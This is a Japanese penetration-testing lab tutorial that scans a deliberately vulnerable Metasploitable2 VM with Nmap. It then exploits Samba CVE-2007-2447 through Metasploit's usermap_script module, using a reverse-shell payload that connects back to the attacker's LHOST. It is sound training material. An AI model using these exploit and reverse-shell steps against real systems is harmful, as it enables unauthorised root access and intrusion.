Nmap と Metasploit を使用したペネトレーションテストの実施

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、ペネトレーションテストの基本的なプロセスについて学び、Kali Linux を使用して実践的な攻撃を行います。目的は、既知の Samba の脆弱性を悪用して、脆弱なターゲットシステムにリモートシェルアクセスを取得することです。この実験は、実際のペネトレーションテストシナリオに含まれる手順を理解し、Nmap や Metasploit などの人気のセキュリティツールを使用する練習をする機会を提供します。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/os_version_detection("OS and Version Detection") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416117{{"Nmap と Metasploit を使用したペネトレーションテストの実施"}} nmap/port_scanning -.-> lab-416117{{"Nmap と Metasploit を使用したペネトレーションテストの実施"}} nmap/host_discovery -.-> lab-416117{{"Nmap と Metasploit を使用したペネトレーションテストの実施"}} nmap/target_specification -.-> lab-416117{{"Nmap と Metasploit を使用したペネトレーションテストの実施"}} nmap/os_version_detection -.-> lab-416117{{"Nmap と Metasploit を使用したペネトレーションテストの実施"}} nmap/service_detection -.-> lab-416117{{"Nmap と Metasploit を使用したペネトレーションテストの実施"}} end

実験環境のセットアップ

ペネトレーションテストは通常、以下の手順で構成されます。

  1. 情報収集:ターゲットシステムに関するできるだけ多くの情報を収集します。これには、ネットワーク情報、ウェブサイトの内容、ディレクトリ構造、潜在的なユーザー名、開放されているポート、サービス、ドメイン名、サブドメインなどが含まれます。この目的のために様々なツールを使用できます。

  2. 脆弱性スキャン:スキャンツールを使用して、ターゲットシステムの包括的なスキャンを行い、脆弱性を特定します。自動化されたスキャンツールが利用可能ですし、特定のサービスを対象とした手動のスキャンツールも使用できます。

  3. 悪用:悪用可能な脆弱性が特定されたら、適切なツールと技術を使用して、ターゲットシステムでより高いレベルのアクセスまたは特権を取得します。これには、リモートコード実行、インジェクション攻撃、またはその他の方法が含まれる場合があります。

  4. アクセス維持:ターゲットシステムにバックドアまたは永続的なアクセス機構を作成し、検出を回避しながら将来のアクセスを容易にします。

  5. レポート作成:調査結果を分析し、発見された脆弱性とペネトレーションテストプロセス中に取られた手順を詳細に記載したレポートを作成します。このレポートは、ターゲット組織がシステムを効果的に保護するのに役立ちます。

要するに、ペネトレーションテストに関与する基本的な手順を理解したので、理論を実践に移す時です。実践的な演習を通じて、学んだ知識とスキルを適用し、ペネトレーションテストの分野で実践的な経験を積むことができます。

まず、ペネトレーションテストのシナリオを練習するための実験環境をセットアップする必要があります。

実験環境は 2 つのシステムで構成されています。

  1. Kali Linux コンテナ (攻撃者マシン): これは Kali Linux を実行する Docker コンテナで、攻撃を実行するために使用されます。

  2. Metasploitable2 仮想マシン (ターゲットマシン): これは脆弱な Ubuntu サーバーで、ターゲットシステムとして機能します。

環境をセットアップするには、以下の手順に従ってください。

  1. Metasploitable2 ターゲットマシンを起動します。
sudo virsh start Metasploitable2

ターゲットマシンが起動するのを待ちます。起動には 1 - 3 分かかる場合があります。

  1. ターゲットマシンが動作していることを確認するために、ping を実行します (Ctrl+C で終了します)。
ping 192.168.122.102
  1. Kali Linux コンテナを起動し、Bash シェルに入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. Kali コンテナからターゲットマシンに ping を実行して、ネットワーク接続をテストします (Ctrl+C で終了します)。
ping 192.168.122.102

これで、攻撃者マシンとターゲットマシンが両方とも動作し、アクセス可能になっているはずです。ペネトレーションテストプロセスを開始する準備ができました。

脆弱性スキャンの実行

このステップでは、Kali Linux の Nmap ツールを使用して、ターゲットシステムの開放されているポートとサービスをスキャンします。

  1. 以下の Nmap コマンドを実行して包括的なスキャンを行い、出力を Docker コンテナ内の /tmp/report.txt に保存します。完了するまで数分かかる場合があります。
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

ここで各フラグの意味は以下の通りです。

  • -p 1-65535: すべてのポートをスキャンします。
  • -T4: タイミングテンプレートを設定します (値が大きいほどスキャンが速くなります)。
  • -A: OS 検出とバージョン検出を有効にします。
  • -v: 詳細度を上げます。
  • >/tmp/report.txt: 出力をファイルにリダイレクトします。
  1. スキャンが完了するのを待ちます (数分かかる場合があります)。

  2. cat を使用して /tmp/report.txt ファイルを開き、スキャンレポートを分析します。

cat /tmp/report.txt

レポートには、ターゲットシステムで動作している開放されているポート、サービス、およびバージョンがリストされます。

  1. スキャン中に発見されたサービスとバージョンに関連する潜在的な脆弱性を特定します。

この場合、Metasploitable2 システムで動作しているバージョンの Samba サービスには、既知のリモートコマンド実行脆弱性 (CVE-2007-2447) があります。以下は、Samba USERNAME MAP SCRIPT リモートコマンド実行脆弱性 (CVE-2007-2447) の詳細です。

  • CVE: CVE-2007-2447
  • 影響を受けるバージョン:Samba 3.0.0 - 3.0.25rc3
  • 脆弱性の説明:この脆弱性は、Samba が username map script 構成オプションを処理する方法に存在します。このオプションが有効になっている場合、Samba はユーザー入力を /bin/sh シェルに渡す前に適切にサニタイズしないため、リモート攻撃者が Samba ユーザーとして任意のコマンドを実行できます。

Samba 公式の脆弱性説明は以下の URL で確認できます。http://samba.org/samba/security/CVE-2007-2447.html

この脆弱性を悪用するために使用する Metasploit エクスプロイトモジュールは exploit/multi/samba/usermap_script です。このモジュールのソースコードとコメントは以下の URL で確認できます。https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb

Metasploit を使用した脆弱性の悪用

このステップでは、Metasploit Framework を使用して、Samba USERNAME MAP SCRIPT 脆弱性を悪用し、ターゲットシステムにリモートシェルアクセスを取得します。

  1. Metasploit コンソールを起動します。
cd ~
msfconsole
  1. Metasploit コンソールで Samba エクスプロイトモジュールを読み込みます。
use exploit/multi/samba/usermap_script
  1. Metasploit コンソールでペイロードを cmd/unix/reverse に設定します。
set payload cmd/unix/reverse
  1. Metasploit コンソールでターゲットの IP アドレスとポートを設定します。
set RHOST 192.168.122.102
set RPORT 445
  1. Metasploit コンソールでリバースシェルのローカル IP アドレスを設定します。
set LHOST 192.168.122.1
  1. Metasploit コンソールでオプションを確認します。
show options
  1. Metasploit コンソールでエクスプロイトを実行します。
exploit

エクスプロイトが成功すると、ターゲットシステムで root ユーザーとしてリモートシェルセッションが開かれるはずです。

  1. テストが完了したら、Ctrl+C を押してから exit と入力することでシェルを終了し、Kali コンテナに戻ることができます。

まとめ

この実験では、ペネトレーションテストの基本的なプロセスについて学び、実際の攻撃シナリオを実践する経験を積みました。脆弱なターゲットシステムを用いた実験環境をセットアップし、Nmap を使用して脆弱性スキャンを行い、既知の Samba 脆弱性を分析し、Metasploit Framework を使用してそれを悪用してリモートシェルアクセスを取得しました。この実践的な経験は、ペネトレーションテストで使用される技術とツール、およびセキュアなシステム構成と脆弱性管理の重要性をより深く理解するのに役立つでしょう。